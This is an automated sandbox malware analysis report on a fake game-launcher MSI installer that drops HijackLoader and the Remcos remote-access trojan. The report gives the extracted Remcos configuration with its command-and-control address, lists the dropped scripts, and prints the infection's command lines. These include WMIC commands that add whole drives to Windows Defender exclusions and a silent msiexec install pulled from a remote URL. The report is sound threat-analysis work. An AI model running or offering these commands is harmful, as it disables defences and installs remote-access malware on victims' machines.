Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-11-2024 09:46
Static task
static1
Behavioral task
behavioral1
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win11-20241007-en
General
-
Target
LauncherPred8.3.37Stablesetup.msi
-
Size
11.4MB
-
MD5
c628123d2539f5ae51b37a06bd179fc7
-
SHA1
139dfe6164e7c6ba6e2360673cf75801fd2add36
-
SHA256
f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2
-
SHA512
3cc3af8065b138719bae90720aeb37b15bb9412631aba972dab1d8d42e7507fd1d4ba231c96a0fe4b32b67e450594a95fe6d0fbc858bf2018b02b6d83ccda567
-
SSDEEP
196608:oEGAvNE+MNqCjsict52JykNWmKoahv02bfHJNeh5XK3zQlstPGaVB4L0iJP:QCBAK5XmooaBYhtKklkG
Malware Config
Extracted
remcos
v2
185.157.162.126:1995
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
qsdazeazd-EL00KX
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Detects HijackLoader (aka IDAT Loader) 1 IoCs
resource yara_rule behavioral2/files/0x0007000000023cd8-107.dat family_hijackloader -
HijackLoader
HijackLoader is a multistage loader first seen in 2023.
-
Hijackloader family
-
Remcos family
-
Use of msiexec (install) with remote resource 1 IoCs
pid Process 448 msiexec.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 21 3380 msiexec.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\J: msiexec.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation cscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 4540 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1128 set thread context of 3284 1128 EHttpSrv.exe 135 PID 3284 set thread context of 3568 3284 cmd.exe 143 -
Drops file in Program Files directory 9 IoCs
description ioc Process File created C:\Program Files (x86)\sev\dev\updt\lola.bat msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\Firefox Installer.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\ScreenRec_webinstall_all.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\task.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\npp.8.4.2.Installer.x64.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\VisualStudioSetup.exe msiexec.exe -
Drops file in Windows directory 22 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIBEFB.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIC180.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIBD45.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBFB9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC066.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIF56C.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI434.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIBF89.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI338.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI397.tmp msiexec.exe File created C:\Windows\Installer\e57bc99.msi msiexec.exe File opened for modification C:\Windows\Installer\e57bc99.msi msiexec.exe File created C:\Windows\Installer\SourceHash{9A85933A-E1A1-4421-ACF9-F9A12BFF4DF0} msiexec.exe File opened for modification C:\Windows\Installer\MSI4C2.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI5FB.tmp msiexec.exe -
Executes dropped EXE 1 IoCs
pid Process 1128 EHttpSrv.exe -
Loads dropped DLL 12 IoCs
pid Process 4884 MsiExec.exe 4884 MsiExec.exe 4884 MsiExec.exe 4884 MsiExec.exe 4884 MsiExec.exe 1232 MsiExec.exe 1232 MsiExec.exe 1232 MsiExec.exe 1232 MsiExec.exe 1128 EHttpSrv.exe 1128 EHttpSrv.exe 3568 EHttpSrv.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4640 msiexec.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe -
Delays execution with timeout.exe 4 IoCs
pid Process 4728 timeout.exe 4572 timeout.exe 3420 timeout.exe 3708 timeout.exe -
Kills process with taskkill 2 IoCs
pid Process 4116 taskkill.exe 2376 taskkill.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 532 msiexec.exe 532 msiexec.exe 4540 powershell.exe 4540 powershell.exe 4540 powershell.exe 3380 msiexec.exe 3380 msiexec.exe 1128 EHttpSrv.exe 3284 cmd.exe 3284 cmd.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1128 EHttpSrv.exe 3284 cmd.exe 3284 cmd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4640 msiexec.exe Token: SeIncreaseQuotaPrivilege 4640 msiexec.exe Token: SeSecurityPrivilege 532 msiexec.exe Token: SeCreateTokenPrivilege 4640 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4640 msiexec.exe Token: SeLockMemoryPrivilege 4640 msiexec.exe Token: SeIncreaseQuotaPrivilege 4640 msiexec.exe Token: SeMachineAccountPrivilege 4640 msiexec.exe Token: SeTcbPrivilege 4640 msiexec.exe Token: SeSecurityPrivilege 4640 msiexec.exe Token: SeTakeOwnershipPrivilege 4640 msiexec.exe Token: SeLoadDriverPrivilege 4640 msiexec.exe Token: SeSystemProfilePrivilege 4640 msiexec.exe Token: SeSystemtimePrivilege 4640 msiexec.exe Token: SeProfSingleProcessPrivilege 4640 msiexec.exe Token: SeIncBasePriorityPrivilege 4640 msiexec.exe Token: SeCreatePagefilePrivilege 4640 msiexec.exe Token: SeCreatePermanentPrivilege 4640 msiexec.exe Token: SeBackupPrivilege 4640 msiexec.exe Token: SeRestorePrivilege 4640 msiexec.exe Token: SeShutdownPrivilege 4640 msiexec.exe Token: SeDebugPrivilege 4640 msiexec.exe Token: SeAuditPrivilege 4640 msiexec.exe Token: SeSystemEnvironmentPrivilege 4640 msiexec.exe Token: SeChangeNotifyPrivilege 4640 msiexec.exe Token: SeRemoteShutdownPrivilege 4640 msiexec.exe Token: SeUndockPrivilege 4640 msiexec.exe Token: SeSyncAgentPrivilege 4640 msiexec.exe Token: SeEnableDelegationPrivilege 4640 msiexec.exe Token: SeManageVolumePrivilege 4640 msiexec.exe Token: SeImpersonatePrivilege 4640 msiexec.exe Token: SeCreateGlobalPrivilege 4640 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeRestorePrivilege 532 msiexec.exe Token: SeTakeOwnershipPrivilege 532 msiexec.exe Token: SeDebugPrivilege 4540 powershell.exe Token: SeIncreaseQuotaPrivilege 3588 WMIC.exe Token: SeSecurityPrivilege 3588 WMIC.exe Token: SeTakeOwnershipPrivilege 3588 WMIC.exe Token: SeLoadDriverPrivilege 3588 WMIC.exe Token: SeSystemProfilePrivilege 3588 WMIC.exe Token: SeSystemtimePrivilege 3588 WMIC.exe Token: SeProfSingleProcessPrivilege 3588 WMIC.exe Token: SeIncBasePriorityPrivilege 3588 WMIC.exe Token: SeCreatePagefilePrivilege 3588 WMIC.exe Token: SeBackupPrivilege 3588 WMIC.exe Token: SeRestorePrivilege 3588 WMIC.exe Token: SeShutdownPrivilege 3588 WMIC.exe Token: SeDebugPrivilege 3588 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4640 msiexec.exe -
Suspicious use of WriteProcessMemory 58 IoCs
description pid Process procid_target PID 532 wrote to memory of 4884 532 msiexec.exe 86 PID 532 wrote to memory of 4884 532 msiexec.exe 86 PID 532 wrote to memory of 4884 532 msiexec.exe 86 PID 532 wrote to memory of 3024 532 msiexec.exe 89 PID 532 wrote to memory of 3024 532 msiexec.exe 89 PID 3024 wrote to memory of 4916 3024 cmd.exe 91 PID 3024 wrote to memory of 4916 3024 cmd.exe 91 PID 3024 wrote to memory of 4728 3024 cmd.exe 92 PID 3024 wrote to memory of 4728 3024 cmd.exe 92 PID 3024 wrote to memory of 4572 3024 cmd.exe 93 PID 3024 wrote to memory of 4572 3024 cmd.exe 93 PID 3024 wrote to memory of 3420 3024 cmd.exe 96 PID 3024 wrote to memory of 3420 3024 cmd.exe 96 PID 3024 wrote to memory of 3380 3024 cmd.exe 100 PID 3024 wrote to memory of 3380 3024 cmd.exe 100 PID 3380 wrote to memory of 4540 3380 cscript.exe 102 PID 3380 wrote to memory of 4540 3380 cscript.exe 102 PID 3024 wrote to memory of 3708 3024 cmd.exe 104 PID 3024 wrote to memory of 3708 3024 cmd.exe 104 PID 4540 wrote to memory of 1872 4540 powershell.exe 106 PID 4540 wrote to memory of 1872 4540 powershell.exe 106 PID 1872 wrote to memory of 3672 1872 wscript.exe 107 PID 1872 wrote to memory of 3672 1872 wscript.exe 107 PID 3672 wrote to memory of 3588 3672 cmd.exe 109 PID 3672 wrote to memory of 3588 3672 cmd.exe 109 PID 1872 wrote to memory of 3376 1872 wscript.exe 112 PID 1872 wrote to memory of 3376 1872 wscript.exe 112 PID 3376 wrote to memory of 872 3376 cmd.exe 114 PID 3376 wrote to memory of 872 3376 cmd.exe 114 PID 1872 wrote to memory of 4260 1872 wscript.exe 116 PID 1872 wrote to memory of 4260 1872 wscript.exe 116 PID 4260 wrote to memory of 4116 4260 cmd.exe 118 PID 4260 wrote to memory of 4116 4260 cmd.exe 118 PID 1872 wrote to memory of 60 1872 wscript.exe 119 PID 1872 wrote to memory of 60 1872 wscript.exe 119 PID 60 wrote to memory of 2376 60 cmd.exe 121 PID 60 wrote to memory of 2376 60 cmd.exe 121 PID 1872 wrote to memory of 1624 1872 wscript.exe 122 PID 1872 wrote to memory of 1624 1872 wscript.exe 122 PID 1872 wrote to memory of 224 1872 wscript.exe 124 PID 1872 wrote to memory of 224 1872 wscript.exe 124 PID 224 wrote to memory of 448 224 wscript.exe 129 PID 224 wrote to memory of 448 224 wscript.exe 129 PID 3380 wrote to memory of 1232 3380 msiexec.exe 133 PID 3380 wrote to memory of 1232 3380 msiexec.exe 133 PID 3380 wrote to memory of 1232 3380 msiexec.exe 133 PID 3380 wrote to memory of 1128 3380 msiexec.exe 134 PID 3380 wrote to memory of 1128 3380 msiexec.exe 134 PID 3380 wrote to memory of 1128 3380 msiexec.exe 134 PID 1128 wrote to memory of 3284 1128 EHttpSrv.exe 135 PID 1128 wrote to memory of 3284 1128 EHttpSrv.exe 135 PID 1128 wrote to memory of 3284 1128 EHttpSrv.exe 135 PID 1128 wrote to memory of 3284 1128 EHttpSrv.exe 135 PID 3284 wrote to memory of 3568 3284 cmd.exe 143 PID 3284 wrote to memory of 3568 3284 cmd.exe 143 PID 3284 wrote to memory of 3568 3284 cmd.exe 143 PID 3284 wrote to memory of 3568 3284 cmd.exe 143 PID 3284 wrote to memory of 3568 3284 cmd.exe 143
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\LauncherPred8.3.37Stablesetup.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4640
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3E865797B8F0E89D567D9235B3EA6B722⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:4916
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:4728
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:4572
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:3420
-
-
C:\Windows\system32\cscript.execscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Program Files (x86)\sev\dev\updt\task.vbs""' -Verb runAs"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"6⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\System32\Wbem\WMIC.exeWmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3588
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"6⤵
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\System32\Wbem\WMIC.exeWmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"7⤵PID:872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe6⤵
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe7⤵
- Kills process with taskkill
PID:4116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe6⤵
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\system32\taskkill.exetaskkill /f /im msiexec.exe7⤵
- Kills process with taskkill
PID:2376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"6⤵PID:1624
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" /b6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i https://gersgaming.s3.us-east-2.amazonaws.com/Slf.msi /qn7⤵
- Use of msiexec (install) with remote resource
PID:448
-
-
-
-
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:3708
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F5CAF49C80F8BB8B8332CD4C07B09F182⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1232
-
-
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"2⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exeC:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3568
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5bfe0f72f1f898192fb4369eea79dcb71
SHA1aa5c68e5adb3fb4481ba49c294efdd0c295159c9
SHA2567649e25e9560349dc185435b15bfbd224ccece95d9d86e88d8e610510df424b6
SHA512152fcb401476cf2d8b93db29d97f00ec94e5a6d27b20b0905295ffc1bcb00d2fec482dd18ab2d5a31a482f1990a6b619aeb503915c5771234b6cf90e02f0e6cf
-
Filesize
2KB
MD5469f94360e9a63548bcc7183d389909d
SHA16bec140d198935d39621ac623578fa0902f7766f
SHA256c661c1710bbb845b028d47dbf3651b3e3d537e5a8ac6e87011a77c66c7a7c498
SHA512c62b5471f0403ebc3081bf049a02ec0f6dec5fe8d9293640d5887f6b47f8cb8da67f7ade1804703aef194c6415641771e65c4f436672af501c9c43f39ef2ec82
-
Filesize
928B
MD5200bfb54cca80c3a3b50dd9c479d580b
SHA1b2ac137e8d188dd4a9b0ad5e329714e3e7f2bd7c
SHA25618aece804e2854d1aee6d3e289e8dfe9dcc832f67b84f47e4937aa41ed8250c7
SHA51298909b213290980013d584389af154ee890949850c97c9512014984e29d779f6e554413b3086b1986e11169e95edf8b019b04b4d7fd475adcffb83f7c3f7779c
-
Filesize
659B
MD594d85f8f350a1f6fe8e700b87f5b4eea
SHA10dc9e11c55b3e056eeadb9cfe6ef2b6bd98300ea
SHA256cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba
SHA5120226c2662e4d6d2f473f075e8d200d55a3b18deacb40365450866039dafeb206ed6ea9216149d1ac5f1a19e8f185381b796d7f4fa3bb08c4558b6b292838e9c5
-
Filesize
869B
MD58532766ca0ae0adf46849cc89d54486a
SHA17bba7004901617e97855ddd6d5cc81f7c95ee3e7
SHA256264b66a6d0b79faea0171a06441587cb910aaf815d7120ad2951fc7a5462dfcd
SHA5121e1e2d5c3f7a394efb524c5f7b093201e9f4a9483a8146e44896b34b3dffbb74b213b04a904be064e39ef782b0b357a50444673faa42466e8b43219959e06762
-
Filesize
2KB
MD5c8be5f9ad4d51e45019e4b7471281257
SHA10b6b9cc0495bc9f67ecf2299657b380b256f1611
SHA256d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c
SHA512bde94e0cf77a407a8cbd24c8f79d961c6858c336cac8a5809178f7f62bf2749fe75715ab69183855c98c1dae2936a949e215c6a775c48b2d73d76bcd9bce68ce
-
Filesize
20KB
MD59329ba45c8b97485926a171e34c2abb8
SHA120118bc0432b4e8b3660a4b038b20ca28f721e5c
SHA256effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659
SHA5120af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc
-
Filesize
48KB
MD545fc96890cc8cdcf4b6ed3272d8d9c2a
SHA12069026ee778ca089280df0ec7491166da266df3
SHA25613ab418e2e189d9bc984d00811331c4b440773079c6d44114d249a1993fbb920
SHA512983231313b51e3a20a53260cfba461e23f6ec19bca3b16552be84e71ff1d671df6efa38c3ce7eae1cb745aa3f898cd3599b27242410ee5e184b4fb7f717ae6f0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
877KB
MD55124236fd955464317fbb1f344a1d2f2
SHA1fe3a91e252f1dc3c3b4980ade7157369ea6f5097
SHA256ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6
SHA5122b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252
-
Filesize
1.0MB
MD5a5e7e6283e3f2083730243f270a8e092
SHA1fa383d00d8eded093e1b6ea7e62dec35a9331db6
SHA256f78053d32e6a6b3a65bb434715157315a51b8be2c97aeccecce13a0770684f3a
SHA512ea12018e83809e65075dbdd5eb54f68a4853a1b9db992e7f844522dbbb5bf6c23a365f2c7ae5d13cc2868b08a08181bbb614f6346ab4f723dadd1be67fd94c39
-
Filesize
883KB
MD54366cd6c5d795811822b9ccc3df3eab4
SHA130f6050729b4c08b7657454cb79dd5a3d463c606
SHA25655497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da
SHA5124a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349
-
Filesize
1.0MB
MD5686b224b4987c22b153fbb545fee9657
SHA1684ee9f018fbb0bbf6ffa590f3782ba49d5d096c
SHA256a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36
SHA51244d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875
-
Filesize
557KB
MD52c9c51ac508570303c6d46c0571ea3a1
SHA1e3e0fe08fa11a43c8bca533f212bdf0704c726d5
SHA256ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550
SHA512df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127
-
Filesize
1.1MB
MD57768d9d4634bf3dc159cebb6f3ea4718
SHA1a297e0e4dd61ee8f5e88916af1ee6596cd216f26
SHA256745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121
SHA512985bbf38667609f6a422a22af34d9382ae4112e7995f87b6053a683a0aaa647e17ba70a7a83b5e1309f201fc12a53db3c13ffd2b0fad44c1374fff6f07059cbf
-
Filesize
156KB
MD5cf76384d06ee0f6bb6bb2d40608a6d37
SHA135f463af3acf6c188a1f1c26904c963a4fb3b5b6
SHA2563c4f0cf76c9a8fded5218b75d89e8840c99b9eaae6f669c72e078c4c34c00ee7
SHA512dc610922d59e6fd9f4caf5fb9f5ba7a8457955f8072d4994fcb2958805235802071823cdd55215746d6be94530830aca6b4cc8e14c7d8353cb3ec38f15771b74